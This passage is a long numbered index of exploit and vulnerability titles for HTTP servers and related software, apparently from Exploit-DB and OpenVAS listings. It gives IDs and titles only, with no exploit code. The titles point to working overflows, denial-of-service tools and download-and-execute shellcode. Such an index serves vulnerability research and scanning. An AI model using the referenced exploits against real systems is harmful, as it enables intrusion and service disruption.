21562| [21704] W3C CERN httpd 3.0 Proxy Cross-Site Scripting Vulnerability
21563| [21678] Inso DynaWeb httpd 3.1/4.0.2/4.1 Format String Vulnerability
21564| [21656] Lucent Access Point 300/600/1500 IP Services Router Long HTTP Request DoS
21565| [21654] IPSwitch IMail 6.x/7.0/7.1 Web Messaging HTTP Get Buffer Overflow Vulnerability
21566| [21614] ATPhttpd 0.4 b Buffer Overflow Vulnerabilities
21567| [21611] Summit Computer Networks Lil' HTTP Server 2.1/2.2 pbcgi.cgi Cross Site Scripting
21568| [21581] Summit Computer Networks Lil' HTTP Server 2 URLCount.CGI HTML Injection Vulnerability
21569| [21441] Cisco ATA-186 HTTP Device Configuration Disclosure Vulnerability
21570| [21422] ACME Labs thttpd 2.20 Cross-Site Scripting Vulnerability
21571| [21413] National Instruments LabVIEW 5.1.1/6.0/6.1 HTTP Request Denial of Service Vulnerability
21572| [21372] Microsoft IIS 4/5 HTTP Error Page Cross Site Scripting Vulnerability
21573| [21311] BPM Studio Pro 4.2 HTTPD Directory Traversal Vulnerability
21574| [21243] Alteon AceDirector Half-Closed HTTP Request IP Address Revealing Vulnerabililty
21575| [21214] SapporoWorks Black JumboDog 2.6.4/2.6.5 HTTP Proxy Buffer Overflow Vulnerability
21576| [21202] Anti-Web HTTPD 2.2 Script Engine File Opening Denial of Service Vulnerability
21577| [21145] IBM HTTP Server 1.3.x Source Code Disclosure Vulnerability
21578| [21141] Red Hat TUX 2.1 .0-2 HTTP Server Oversized Host Denial of Service Vulnerability
21579| [21050] NCSA httpd 1.x Buffer Overflow Vulnerability (2)
21580| [21049] NCSA httpd 1.x Buffer Overflow Vulnerability (1)
21581| [20978] Cisco IOS 11.x/12.x HTTP Configuration Arbitrary Administrative Access Vulnerability (4)
21582| [20977] Cisco IOS 11.x/12.x HTTP Configuration Arbitrary Administrative Access Vulnerability (3)
21583| [20976] Cisco IOS 11.x/12.x HTTP Configuration Arbitrary Administrative Access Vulnerability (2)
21584| [20975] Cisco IOS 11.x/12.x HTTP Configuration Arbitrary Administrative Access Vulnerability (1)
21585| [20929] ghttpd 1.4 Daemon Buffer Overflow Vulnerability
21586| [20886] Omnicron OmniHTTPD 2.0.4-8 File Source Disclosure Vulnerability
21587| [20847] 3Com OfficeConnect DSL Router 812 1.1.7/840 1.1.7 HTTP Port Router DoS
21588| [20825] michael lamont savant http server 2.1 - Directory Traversal vulnerability
21589| [20728] 602Pro Lan Suite 2000a Long HTTP Request Denial of Service Vulnerability
21590| [20662] WhitSoft SlimServe HTTPD 1.1 Get Denial of Service Vulnerability
21591| [20657] robin twombly a1 http server 1.0 - Directory Traversal vulnerability
21592| [20656] Robin Twombly A1 HTTP Server 1.0 - Denial of Service Vulnerability
21593| [20608] guido frassetto sedum http server 2.0 - Directory Traversal vulnerability
21594| [20595] NCSA 1.3/1.4.x/1.5,Apache httpd 0.8.11/0.8.14 ScriptAlias Source Retrieval Vulnerability
21595| [20557] Omnicron OmniHTTPD 2.0.7 File Corruption and Command Execution Vulnerability
21596| [20531] IBM HTTP Server 1.3 AfpaCache/WebSphereNet.Data DoS Vulnerability
21597| [20449] GlimpseHTTP 1.0/2.0 and WebGlimpse 1.0 Piped Command Vulnerability
21598| [20435] Apache 0.8.x/1.0.x,NCSA httpd 1.x test-cgi Directory Listing Vulnerability
21599| [20423] NCSA httpd-campas 1.2 sample script Vulnerability
21600| [20403] Small HTTP server 2.0 1 Non-Existent File DoS Vulnerability
21601| [20323] "Cisco IOS 12 Software ""?/"" HTTP Request DoS Vulnerability"
21602| [20304] Omnicron OmniHTTPD 1.1/2.0 Alpha 1 visiadmin.exe Denial of Service Vulnerability
21603| [20242] Unixware 7.0 SCOhelp HTTP Server Format String Vulnerability
21604| [20220] Mandrake 6.1/7.0/7.1 /perl http Directory Disclosure Vulnerability
21605| [20120] httpdx <= 1.5.4 - Remote Heap Overflow
21606| [20054] West Street Software LocalWEB HTTP Server 1.2 - Buffer Overflow
21607| [20017] Max Feoktistov Small HTTP server 1.212 Buffer Overflow
21608| [19988] httpdx 1.5.4 - Remote HTTP Server Denial of Service
21609| [19882] Cisco IOS 11.x/12.x HTTP %% Vulnerability
21610| [19866] DomsHttpd <= 1.0 - Remote Denial of Service Exploit
21611| [19637] MS IE 5.0 for Windows 2000/95/98/NT 4 XML HTTP Redirect Vulnerability
21612| [19587] AN-HTTPd 1.2 b CGI Vulnerabilities
21613| [19566] Omnicron OmniHTTPD 1.1/2.4 Pro Buffer Overflow Vulnerability
21614| [19536] Apache <= 1.1,NCSA httpd <= 1.5.2,Netscape Server 1.12/1.1/2.0 a nph-test-cgi Vulnerability
21615| [19253] Debian Linux 2.1 httpd Vulnerability
21616| [18629] Tiny Server <= 1.1.9 HTTP HEAD DoS
21617| [18604] NetDecision 4.5.1 HTTP Server Buffer Overflow
21618| [18541] Netmechanica NetDecision HTTP Server Denial of Service Vulnerability
21619| [18524] Tiny HTTP Server <= 1.1.9 - Remote Crash PoC
21620| [18457] torrent-stats httpd.c Denial of Service
21621| [18442] Apache httpOnly Cookie Disclosure
21622| [18295] lighttpd Denial of Service Vulnerability PoC
21623| [18221] Apache HTTP Server Denial of Service
21624| [18120] FleaHttpd Remote Denial of Service Exploit
21625| [17859] Toko Lite CMS 1.5.2 (edit.php) HTTP Response Splitting Vulnerability
21626| [17721] Sunway Force Control SCADA 6.1 SP3 httpsrv.exe Exploit
21627| [17696] Apache httpd Remote Denial of Service (memory exhaustion)
21628| [17669] Simple HTTPd 1.42 PUT Request Remote Buffer Overflow Vulnerability
21629| [17658] Simple HTTPd 1.42 Denial of Servive Exploit
21630| [17563] Download Accelerator plus (DAP) 9.7 - M3U File Buffer Overflow Exploit (Unicode SEH)
21631| [17393] Oracle HTTP Server XSS Header Injection
21632| [17200] ZenPhoto 1.4.0.3 x-forwarded-for HTTP Header presisitent XSS
21633| [17068] jHTTPd 0.1a Directory Traversal Vulnerability
21634| [16970] Kolibri <= 2.0 - HTTP Server HEAD Buffer Overflow
21635| [16959] Oracle WebLogic Session Fixation Via HTTP POST
21636| [16874] MacOS X EvoCam HTTP GET Buffer Overflow
21637| [16856] DD-WRT HTTP Daemon Arbitrary Command Execution
21638| [16809] Oracle 9i XDB HTTP PASS Overflow (win32)
21639| [16802] Webster HTTP Server GET Buffer Overflow
21640| [16800] Streamcast <= 0.9.75 HTTP User-Agent Buffer Overflow
21641| [16799] HTTPDX h_handlepeer() Function Buffer Overflow
21642| [16794] HTTPDX tolog() Function Format String Vulnerability
21643| [16759] SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)
21644| [16732] HTTPDX tolog() Function Format String Vulnerability
21645| [16598] Persits XUpload ActiveX MakeHttpRequest Directory Traversal
21646| [16532] Internet Explorer XML Core Services HTTP Request Handling
21647| [16526] Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)
21648| [16513] Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow
21649| [16199] Icy Phoenix 1.3.0.53a HTTP Referer stored XSS
21650| [16128] jakcms 2.0 pro rc5 - Stored XSS via useragent http header injection
21651| [16103] Majordomo2 - Directory Traversal (SMTP/HTTP)
21652| [16078] SDP Downloader 2.3.0 (http_response) Remote Buffer Overflow Exploit
21653| [16075] Caedo HTTPd Server 0.5.1 ALPHA - Remote File Download
21654| [15981] LifeType 1.2.10 HTTP Referer stored XSS
21655| [15861] httpdasm 0.92 - Directory Traversal
21656| [15821] HttpBlitz Web Server Denial of Service Exploit
21657| [15422] Sami HTTP Server 2.0.1 GET Request Denial of Service Exploit
21658| [15307] HP Data Protector Media Operations 6.11 HTTP Server Remote Integer Overflow DoS
21659| [15290] Oracle Sun Java System Web Server - HTTP Response Splitting
21660| [14941] Integard Home and Pro 2 - Remote HTTP Buffer Overflow Exploit
21661| [14938] Internet Download Accelerator 5.8 - Remote Buffer Overflow PoC
21662| [14840] Mereo 1.9.2 - Remote HTTP Server Denial of Service Vulnerability
21663| [14683] Httpdx 1.5.4 - Multiple Denial of Service Vulnerabilities (http-ftp) PoC
21664| [14645] Sports Accelerator Suite 2.0 - (news_id) Remote SQL Injection Vulnerability
21665| [14609] Msxml2.XMLHTTP.3.0 Response Handling Memory Corruption (MS10-051)
21666| [14522] Xerver 4.32 - Source Disclosure and HTTP Authentication Bypass
21667| [14496] UPlusFTP Server 1.7.1.01 - HTTP Remote Buffer Overflow (Post Auth)
21668| [14012] Weborf HTTP Server Denial of Service Vulnerability
21669| [13888] SasCam 2.6.5 - Remote HTTP Server Crash
21670| [13870] iOS QuickOffice 3.1.0 - HTTP Method Remote DoS
21671| [13774] Motorola SB5101 Hax0rware Rajko HTTPD Remote Exploit PoC
21672| [13380] linux/x86 HTTP/1.x GET, Downloads and JMP - 68 bytes+
21673| [13355] linux/x86 HTTP/1.x GET, Downloads and execve() 111 bytes+
21674| [13308] linux/x86 shellcode that forks a HTTP Server on port tcp/8800 166 bytes
21675| [13288] Utility for generating HTTP/1.x requests for shellcodes
21676| [12804] nginx [engine x] http server <= 0.6.36 Path Draversal
21677| [12531] GeoHttpServer Remote DoS Vulnerability
21678| [12331] MultiThreaded HTTP Server 1.1 - Directory Traversal
21679| [12308] MultiThreaded HTTP Server 1.1 - Source Disclosure
21680| [12304] MultiThreaded HTTP Server 1.1 - Directory Traversal
21681| [11856] uhttp Server Path Traversal Vulnerability
21682| [11734] httpdx 1.5.3b - Multiple Remote Pre-Authentication DoS (PoC)
21683| [11597] RCA DCM425 Cable Modem micro_httpd DoS/PoC
21684| [11500] Easy~Ftp Server 1.7.0.2 - (HTTP) Remote BoF Exploit
21685| [11472] iOS FTP On The Go 2.1.2 - HTTP Remote DoS
21686| [11343] httpdx 1.5.2 - Remote Pre-Authentication DoS (PoC)
21687| [11273] iOS Serversman 3.1.5 - HTTP Remote DoS Exploit
21688| [11254] P2GChinchilla HTTP Server 1.1.1 - Denial of Service Exploit
21689| [11211] cPanel HTTP Response Splitting Vulnerability
21690| [11142] Multiple Media Player HTTP DataHandler Overflow (Itunes, Quicktime, etc)
21691| [10610] CoreHTTP Arbitrary Command Execution Vulnerability
21692| [10469] Monkey HTTP Daemon < 0.9.3 - Denial of Service Vulnerability
21693| [10349] CoreHTTP web server off-by-one buffer overflow vulnerability
21694| [10331] iWeb HTTP Server Directory Transversal Vulnerability
21695| [10282] OrzHTTPd Format String Exploit
21696| [10170] Xerver 4.31, 4.32 HTTP Response Splitting
21697| [10163] Novell eDirectory HTTPSTK Login Stack Overflow Vulnerability
21698| [10053] httpdx 1.4 Get Request Buffer Overflow
21699| [10047] Femitter HTTP Server 1.03 Remote Source Disclosure
21700| [10030] DD-WRT HTTP v24-SP1 - Command Injection Vulnerability
21701| [9896] MiniShare HTTP 1.5.5 BoF
21702| [9886] httpdx 1.4 h_handlepeer BoF
21703| [9885] httpdx <= 1.4.6b source disclosure
21704| [9718] Xerver HTTP Server 4.32 - XSS / Directory Traversal Vulnerability
21705| [9717] Xerver HTTP Server <= 4.32 - Remote Denial of Service
21706| [9660] Techlogica HTTP Server 1.03 Arbitrary File Disclosure Exploit
21707| [9657] httpdx Web Server 1.4 (Host Header) Remote Format String DoS Exploit
21708| [9649] Xerver HTTP Server 4.32 Arbitrary Source Code Disclosure Vuln
21709| [9549] MailEnable 1.52 HTTP Mail Service Stack BOF Exploit PoC
21710| [9478] HTTP SERVER (httpsv) 1.6.2 (GET 404) Remote Denial of Service Exploit
21711| [9209] DD-WRT (httpd service) Remote Command Execution Vulnerability
21712| [8991] Multiple HTTP Server Low Bandwidth Denial of Service #2
21713| [8976] Multiple HTTP Server Low Bandwidth Denial of Service (slowloris.pl)
21714| [8897] httpdx <= 0.8 FTP Server Delete/Get/Create Directories/Files Exploit
21715| [8786] Lighttpd < 1.4.23 Source Code Disclosure Vulnerability (BSD/Solaris bug)
21716| [8732] httpdx <= 0.5b FTP Server (CWD) Remote BOF Exploit (SEH)
21717| [8716] httpdx <= 0.5b FTP Server (USER) Remote BOF Exploit (SEH)
21718| [8712] httpdx <= 0.5b Multiple Remote Denial of Service Vulnerabilities
21719| [8554] Belkin Bulldog Plus HTTP Server Remote Buffer Overflow Exploit
21720| [8522] Zervit HTTP Server <= 0.3 (sockets++ crash) Remote Denial of Service
21721| [8422] Steamcast (HTTP Request) Remote Buffer Overflow Exploit (SEH) [2]
21722| [8421] Steamcast (HTTP Request) Remote Buffer Overflow Exploit (SEH) [1]
21723| [8313] Check Point Firewall-1 PKI Web Service HTTP Header Remote Overflow
21724| [8310] Sami HTTP Server 2.x (HEAD) Remote Denial of Service Exploit
21725| [8245] SW-HTTPD Server 0.x Remote Denial of Service Exploit
21726| [8196] Wordpress MU < 2.7 'HOST' HTTP Header XSS Vulnerability
21727| [8097] MLdonkey <= 2.9.7 HTTP DOUBLE SLASH Arbitrary File Disclosure Vuln
21728| [8041] GeoVision Digital Video Surveillance System (geohttpserver) DT Vuln
21729| [8021] Squid < 3.1 5 - HTTP Version Number Parsing Denial of Service Exploit
21730| [7762] EDraw Office Viewer 5.4 HttpDownloadFile() Insecure Method Vuln
21731| [7535] Linksys Wireless ADSL Router (WAG54G V.2) httpd DoS Exploit
21732| [6493] fhttpd 0.4.2 un64() - Remote Denial of Service Exploit
21733| [6477] Cisco Router HTTP Administration CSRF Command Execution Exploit 2
21734| [6476] Cisco Router HTTP Administration CSRF Command Execution Exploit
21735| [6394] Samsung DVR SHR2040 HTTPD Remote Denial of Service DoS PoC
21736| [6227] IntelliTamper 2.07 HTTP Header Remote Code Execution Exploit
21737| [6216] Download Accelerator Plus - DAP 8.6 (AniGIF.ocx) Buffer Overflow PoC
21738| [6039] Download Accelerator Plus - DAP 8.x m3u File Buffer Overflow Exploit (c)
21739| [6030] Download Accelerator Plus - DAP 8.x (m3u) Local BOF Exploit 0day
21740| [5918] uTorrent / BitTorrent WebIU HTTP 1.7.7/6.0.1 Range header DoS Exploit
21741| [5547] Novell eDirectory < 8.7.3 SP 10 / 8.8.2 - HTTP headers DoS Vulnerability
21742| [5519] VLC 0.8.6d - httpd_FileCallBack Remote Format String Exploit
21743| [5344] Novel eDirectory HTTP Denial of Service Exploit
21744| [5338] ChilkatHttp ActiveX 2.3 Arbitrary Files Overwrite Exploit
21745| [5215] Ruby 1.8.6 (Webrick Httpd 1.3.1) Directory Traversal Vulnerability
21746| [4747] RaidenHTTPD 2.0.19 (ulang) Remote Command Execution Exploit
21747| [4717] Simple HTTPD <= 1.41 (/aux) Remote Denial of Service Exploit
21748| [4700] simple httpd <= 1.38 Multiple Vulnerabilities
21749| [4542] Boa 0.93.15 HTTP Basic Authentication Bypass Exploit
21750| [4437] Lighttpd <= 1.4.17 FastCGI Header Overflow Remote Exploit
21751| [4426] Airsensor M520 HTTPD Remote Preauth DoS / BOF PoC
21752| [4391] Lighttpd <= 1.4.16 FastCGI Header Overflow Remote Exploit
21753| [4290] EDraw Office Viewer Component 5.1 HttpDownloadFile() Insecure Method
21754| [4243] corehttp 0.5.3alpha (httpd) Remote Buffer Overflow Exploit
21755| [4200] Versalsoft HTTP File Uploader AddFile() Remote Buffer Overflow Exploit
21756| [4056] Internet Download Accelerator 5.2 - Remote Buffer Overflow PoC
21757| [4046] MiniWeb Http Server 0.8.x Remote Denial of Service Exploit
21758| [3866] Versalsoft HTTP File Upload ActiveX 6.36 (AddFile) Remote DoS Exploit
21759| [3715] Sami HTTP Server 2.0.1 POST Request Denial of Service Exploit
21760| [3674] Wserve HTTP Server 4.6 (Long Directory Name) Denial of Service Exploit
21761| [3346] PHP-Nuke <= 8.0 Final (HTTP Referers) Remote SQL Injection Exploit
21762| [3200] Apple CFNetwork HTTP Response Denial of Service Exploit (rb code)
21763| [3182] Sami HTTP Server 2.0.1 (HTTP 404 - Object not found) DoS Exploit
21764| [3078] Acunetix WVS <= 4.0 20060717 HTTP Sniffer Component Remote DoS
21765| [2974] Http explorer Web Server 1.02 Directory Transversal Vulnerability
21766| [2791] HTTP Upload Tool (download.php) Information Disclosure Vulnerability
21767| [2651] MiniHttpServer Web Forum & File Sharing Server 4.0 Add User Exploit
21768| [2482] SHTTPD 1.34 (POST) Remote Buffer Overflow Exploit
21769| [2328] RaidenHTTPD 1.1.49 (SoftParserFileXml) Remote Code Execution Exploit
21770| [2277] Streamripper <= 1.61.25 HTTP Header Parsing Buffer Overflow Exploit 2
21771| [2274] Streamripper <= 1.61.25 HTTP Header Parsing Buffer Overflow Exploit
21772| [1980] ImgSvr <= 0.6.5 (long http post) Denial of Service Exploit
21773| [1852] gxine 0.5.6 (HTTP Plugin) Remote Buffer Overflow PoC
21774| [1746] zawhttpd <= 0.8.23 (GET) Remote Buffer Overflow DoS
21775| [1396] MS Windows IIS Malformed HTTP Request Denial of Service Exploit (cpp)
21776| [1377] MS Windows IIS Malformed HTTP Request Denial of Service Exploit (pl)
21777| [1376] MS Windows IIS Malformed HTTP Request Denial of Service Exploit (c)
21778| [1365] Oracle 9.2.0.1 Universal XDB HTTP Pass Overflow Exploit
21779| [1274] Hasbani-WindWeb/2.0 - HTTP GET Remote DoS
21780| [1137] Acunetix HTTP Sniffer Denial of Service Exploit
21781| [1108] Small HTTP Server <= 3.05.28 Arbitrary Data Execution Exploit
21782| [1056] Apache <= 2.0.49 Arbitrary Long HTTP Headers Denial of Service
21783| [952] MailEnable Enterprise & Professional https Remote BoF Exploit
21784| [940] Sumus 0.2.2 httpd Remote Buffer Overflow Exploit
21785| [855] Apache <= 2.0.52 HTTP GET request Denial of Service Exploit
21786| [687] OpenText FirstClass 8.0 HTTP Daemon /Search Remote DoS
21787| [667] Jana Server <= 2.4.4 (http/pna) Denial of Service Exploit
21788| [570] WordPress Blog HTTP Splitting Vulnerability
21789| [371] Apache HTTPd Arbitrary Long HTTP Headers DoS (c version)
21790| [360] Apache HTTPd Arbitrary Long HTTP Headers DoS
21791| [358] Lexmark Multiple HTTP Servers Denial of Service Vulnerability
21792| [77] Cisco IOS 12.x/11.x HTTP Remote Integer Overflow Exploit
21793| [9] Apache HTTP Server 2.x Memory Leak Exploit
21794|
21795| OpenVAS (Nessus) - http://www.openvas.org:
21796| [902830] Apache HTTP Server 'httpOnly' Cookie Information Disclosure Vulnerability
21797| [902825] at32 Reverse Proxy Multiple HTTP Header Fields Denial Of Service Vulnerability
21798| [902820] Tiny Server HTTP HEAD Request Remote Denial of Service Vulnerability
21799| [902664] Apache Traffic Server HTTP Host Header Denial of Service Vulnerability
21800| [902579] APC PowerChute Network Shutdown HTTP Response Splitting Vulnerability
21801| [902526] Oracle HTTP Server 'Expect' Header Cross-Site Scripting Vulnerability
21802| [902437] Lil' HTTP Server Cross Site Scripting Vulnerability
21803| [902404] jHTTPd Directory Traversal Vulnerability
21804| [902171] Ipswitch WS_FTP Professional 'HTTP' Response Format String Vulnerability
21805| [901305] Microsoft Windows IP-HTTPS Component Security Feature Bypass Vulnerability (2765809)
21806| [901203] Apache httpd Web Server Range Header Denial of Service Vulnerability
21807| [901155] Integard Home and Pro HTTP Buffer Overflow Vulnerability
21808| [901104] Tembria Server Monitor HTTP Request Denial of Service Vulnerability
21809| [900832] Google Chrome 'JavaScript' And 'HTTPS' Multiple Vulnerabilities - Aug09
21810| [900349] CUPS HTTP Host Header DNS Rebinding Attacks
21811| [900325] Qbik WinGate HTTP Proxy Server Access Controls Bypass Vulnerability
21812| [900222] IBM HTTP Server mod_proxy Interim Responses DoS Vulnerability
21813| [900092] Windows HTTP Services Could Allow Remote Code Execution Vulnerabilities (960803)
21814| [881450] CentOS Update for httpd CESA-2011:1392 centos4 x86_64
21815| [881436] CentOS Update for httpd CESA-2011:1392 centos5 x86_64
21816| [881394] CentOS Update for httpd CESA-2011:1245 centos4 x86_64
21817| [881089] CentOS Update for httpd CESA-2012:0128 centos6
21818| [881032] CentOS Update for httpd CESA-2011:1392 centos4 i386
21819| [881020] CentOS Update for httpd CESA-2011:1392 centos5 i386
21820| [880970] CentOS Update for httpd CESA-2011:1245 centos4 i386
21821| [880849] CentOS Update for httpd CESA-2009:1148 centos5 i386
21822| [880842] CentOS Update for httpd CESA-2009:1205 centos3 i386
21823| [880739] CentOS Update for httpd CESA-2009:1579 centos3 i386
21824| [880706] CentOS Update for httpd CESA-2009:1579 centos5 i386
21825| [880692] CentOS Update for httpd CESA-2009:1108 centos3 i386
21826| [880691] CentOS Update for httpd CESA-2009:1580 centos4 i386
21827| [880683] CentOS Update for httpd CESA-2009:1075 centos5 i386
21828| [880565] CentOS Update for httpd CESA-2010:0168 centos5 i386
21829| [880383] CentOS Update for httpd CESA-2010:0175 centos4 i386
21830| [880313] CentOS Update for httpd CESA-2008:0005 centos3 i386
21831| [880279] CentOS Update for httpd CESA-2008:0967 centos3 x86_64
21832| [880256] CentOS Update for httpd CESA-2008:0005 centos3 x86_64
21833| [880231] CentOS Update for httpd CESA-2008:0006 centos4 i386
21834| [880227] CentOS Update for httpd CESA-2008:0006 centos4 x86_64
21835| [880200] CentOS Update for httpd CESA-2008:0967 centos3 i386
21836| [880024] CentOS Update for httpd CESA-2008:0967 centos4 x86_64
21837| [880012] CentOS Update for httpd CESA-2008:0967 centos4 i386
21838| [870631] RedHat Update for httpd RHSA-2012:0128-01
21839| [870617] RedHat Update for httpd RHSA-2011:1391-01
21840| [870571] RedHat Update for httpd RHSA-2012:0323-01
21841| [870505] RedHat Update for httpd RHSA-2011:1392-01
21842| [870487] RedHat Update for httpd RHSA-2011:1294-01
21843| [870479] RedHat Update for httpd RHSA-2011:1245-01
21844| [870314] RedHat Update for httpd RHSA-2010:0659-01
21845| [870241] RedHat Update for httpd RHSA-2010:0168-01
21846| [870239] RedHat Update for httpd RHSA-2010:0175-01
21847| [870119] RedHat Update for httpd RHSA-2008:0006-01
21848| [870081] RedHat Update for httpd RHSA-2008:0005-01
21849| [870034] RedHat Update for httpd RHSA-2008:0008-01
21850| [870016] RedHat Update for httpd RHSA-2008:0967-01
21851| [864921] Fedora Update for php-symfony2-HttpFoundation FEDORA-2012-19455
21852| [864918] Fedora Update for php-symfony2-HttpFoundation FEDORA-2012-19442
21853| [864589] Fedora Update for php-eaccelerator FEDORA-2012-10908
21854| [864528] Fedora Update for php-eaccelerator FEDORA-2012-9762
21855| [864513] Fedora Update for lighttpd FEDORA-2012-9040
21856| [864498] Fedora Update for lighttpd FEDORA-2012-9078
21857| [864331] Fedora Update for mozilla-https-everywhere FEDORA-2012-7051
21858| [864261] Fedora Update for php-eaccelerator FEDORA-2012-7586
21859| [864259] Fedora Update for php-eaccelerator FEDORA-2012-7567
21860| [864227] Fedora Update for php-eaccelerator FEDORA-2012-6911
21861| [864221] Fedora Update for php-eaccelerator FEDORA-2012-6907
21862| [864201] Fedora Update for mozilla-https-everywhere FEDORA-2012-7175
21863| [864197] Fedora Update for mozilla-https-everywhere FEDORA-2012-7136
21864| [863961] Fedora Update for httpd FEDORA-2012-1598
21865| [863892] Fedora Update for httpd FEDORA-2011-12667
21866| [863824] Fedora Update for php-eaccelerator FEDORA-2012-1262
21867| [863815] Fedora Update for php-eaccelerator FEDORA-2012-0504
21868| [863794] Fedora Update for php-eaccelerator FEDORA-2011-11464
21869| [863759] Fedora Update for httpd FEDORA-2012-1642
21870| [863740] Fedora Update for php-eaccelerator FEDORA-2012-1301
21871| [863706] Fedora Update for php-eaccelerator FEDORA-2012-0420
21872| [863523] Fedora Update for php-eaccelerator FEDORA-2011-11537
21873| [863518] Fedora Update for php-eaccelerator FEDORA-2011-11528
21874| [863514] Fedora Update for httpd FEDORA-2011-12715
21875| [863286] Fedora Update for httpcomponents-client FEDORA-2011-7747
21876| [862973] Fedora Update for php-eaccelerator FEDORA-2011-3666
21877| [862969] Fedora Update for php-eaccelerator FEDORA-2011-3636
21878| [862814] Fedora Update for php-eaccelerator FEDORA-2011-0321
21879| [862809] Fedora Update for php-eaccelerator FEDORA-2011-0329
21880| [862778] Fedora Update for php-eaccelerator FEDORA-2010-18976
21881| [862777] Fedora Update for php-eaccelerator FEDORA-2010-19011
21882| [862349] Fedora Update for php-eaccelerator FEDORA-2010-11481
21883| [862347] Fedora Update for php-eaccelerator FEDORA-2010-11428
21884| [862314] Fedora Update for httpd FEDORA-2010-12478
21885| [862126] Fedora Update for httpd FEDORA-2010-6055
21886| [861951] Fedora Update for lighttpd FEDORA-2010-7636
21887| [861946] Fedora Update for lighttpd FEDORA-2010-7643
21888| [861929] Fedora Update for httpd FEDORA-2010-6131
21889| [861746] Fedora Update for httpd FEDORA-2009-12747
21890| [861534] Fedora Update for httpd FEDORA-2007-2214
21891| [861479] Fedora Update for lighttpd FEDORA-2007-1299
21892| [861373] Fedora Update for httpd FEDORA-2007-0704
21893| [861345] Fedora Update for httpd FEDORA-2007-707
21894| [861325] Fedora Update for httpd FEDORA-2007-617
21895| [861246] Fedora Update for httpd FEDORA-2007-615
21896| [861123] Fedora Update for lighttpd FEDORA-2007-2132
21897| [860849] Fedora Update for lighttpd FEDORA-2008-3376
21898| [860683] Fedora Update for lighttpd FEDORA-2008-3343
21899| [860638] Fedora Update for httpd FEDORA-2008-6393
21900| [860350] Fedora Update for httpd FEDORA-2008-1711
21901| [860293] Fedora Update for lighttpd FEDORA-2008-2262
21902| [860246] Fedora Update for lighttpd FEDORA-2008-2278
21903| [860205] Fedora Update for lighttpd FEDORA-2008-4119
21904| [860097] Fedora Update for httpd FEDORA-2008-6314
21905| [860087] Fedora Update for httpd FEDORA-2008-1695
21906| [855892] Solaris Update for Sun XVR-300 Graphics Accelerator 124149-16
21907| [855880] Solaris Update for Sun XVR-2500 Graphics Accelerator 120927-16
21908| [855879] Solaris Update for Sun XVR-2500 Graphics Accelerator 120928-32
21909| [855871] Solaris Update for Sun XVR-2500 Graphics Accelerator 120928-31
21910| [840915] Ubuntu Update for python-httplib2 USN-1375-1
21911| [831105] Mandriva Update for php-eaccelerator MDVA-2010:166-1 (php-eaccelerator)
21912| [831084] Mandriva Update for php-eaccelerator MDVA-2010:166 (php-eaccelerator)
21913| [803125] TVMOBiLi Media Server HTTP Request Multiple BOF Vulnerabilities
21914| [803080] Firefly MediaServer HTTP Header Multiple DoS Vulnerabilities
21915| [802966] PHP 'main/SAPI.c' HTTP Header Injection Vulnerability
21916| [802923] Null HTTPd Server Content-Length HTTP Header Buffer overflow Vulnerability
21917| [802838] Asterisk HTTP Manager Buffer Overflow Vulnerability
21918| [802737] Opera 'HTTPS-Session' Multiple Vulnerabilities (Linux)
21919| [802702] Google Chrome 'HTTP session' Information Disclosure Vulnerability (MAC OS X)
21920| [802701] Google Chrome 'HTTP session' Information Disclosure Vulnerability (Linux)
21921| [802700] Google Chrome 'HTTP session' Information Disclosure Vulnerability (Windows)
21922| [802617] NetDecision HTTP Server Long HTTP Request Remote Denial of Service Vulnerability
21923| [802614] Tiny HTTP Server Remote Denial of Service Vulnerability
21924| [802350] Mbedthis AppWeb HTTP TRACE Method Cross-Site Scripting Vulnerability
21925| [802156] Sunway ForceControl WebServer 'httpsvr.exe' Buffer Overflow Vulnerability
21926| [802143] Opera 'HTTPS-Session' Multiple Vulnerabilities (Mac OS X)
21927| [802141] Opera 'HTTPS-Session' Multiple Vulnerabilities (Windows)
21928| [802140] Microsoft Explorer HTTPS Sessions Multiple Vulnerabilities (Windows)
21929| [802044] Lighttpd Connection header Denial of Service Vulnerability
21930| [802010] Nostromo nhttpd Webserver Directory Traversal Vulnerability
21931| [801996] IBM HTTP Server Multiple Cross Site Scripting Vulnerabilities
21932| [801834] SDP Downloader HTTP Header Handling Buffer Overflow Vulnerability
21933| [801796] Python CGIHTTPServer Module Information Disclosure Vulnerability
21934| [801636] nginx HTTP Request Remote Buffer Overflow Vulnerability
21935| [801532] Oracle Java System Web Server HTTP Response Splitting Vulnerability
21936| [801526] Visual Synapse HTTP Server Directory Traversal Vulnerability
21937| [801246] bozotic HTTP server Information Disclosure Vulnerability
21938| [801245] bozotic HTTP server Denial of Service Vulnerability
21939| [801244] bozotic HTTP server Version Detection
21940| [801236] httpdx Multiple Vulnerabilities
21941| [801019] Xerver HTTP Server Source Code Disclosure Vulnerability
21942| [801018] Xerver HTTP Server Directory Traversal Vulnerability
21943| [801015] Xerver HTTP Server Cross Site Scripting Vulnerability
21944| [800962] httpdx Web Server 'h_handlepeer()' Buffer Overflow Vulnerability
21945| [800961] httpdx 'h_readrequest()' Host Header Format String Vulnerability
21946| [800827] Apache 'mod_proxy_http.c' Denial Of Service Vulnerability
21947| [800552] Versalsoft HTTP Image Uploader ActiveX Vulnerability
21948| [800447] Varnish Log Escape Sequence Injection Vulnerability
21949| [800446] Varnish Version Detection
21950| [800175] Xerver HTTP Server Web Administration Denial of Service Vulnerability
21951| [800144] Ruby on Rails redirect_to() HTTP Header Injection Vulnerability - Linux
21952| [800101] CA eTrust SCM Multiple HTTP Gateway Service Vulnerabilities
21953| [103470] nginx 'ngx_http_mp4_module.c' Buffer Overflow Vulnerability
21954| [103333] Apache HTTP Server 'ap_pregsub()' Function Local Denial of Service Vulnerability
21955| [103293] Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability
21956| [103240] HTTP Brute Force Logins with default Credentials
21957| [103119] nostromo nhttpd Directory Traversal Remote Command Execution Vulnerability
21958| [103050] Weborf 'get_param_value()' Function HTTP Header Handling Denial Of Service Vulnerability
21959| [103005] httpdASM Directory Traversal Vulnerability
21960| [103004] Mongoose 'Content-Length' HTTP Header Remote Denial Of Service Vulnerability
21961| [100949] HttpBlitz Server HTTP Request Remote Denial of Service Vulnerability
21962| [100878] Weborf HTTP Request Denial Of Service Vulnerability
21963| [100858] Apache 'mod_proxy_http' 2.2.9 for Unix Timeout Handling Information Disclosure Vulnerability
21964| [100788] Weborf HTTP 'modURL()' Function Directory Traversal Vulnerability
